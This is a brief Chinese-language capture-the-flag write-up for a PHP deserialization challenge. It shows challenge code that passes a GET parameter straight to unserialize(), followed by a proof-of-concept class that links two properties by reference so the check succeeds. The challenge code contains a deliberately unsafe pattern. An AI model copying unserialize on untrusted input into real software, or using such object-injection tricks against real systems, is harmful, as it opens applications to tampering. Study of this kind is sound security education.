題目如下：

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET[‘pass‘])) {
    $pass = $_GET[‘pass‘];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o
 
->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can‘t fool me";
    }
    else echo "are you trolling?";
}
?>

主要是涉及了一個PHP對象深淺拷貝，文章：

直接構造POC：

<?php 
class just4fun
{
    var $enter;
    var $secret;
    
    function
 
 __construct()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());

 ?>

南郵PHP反序列化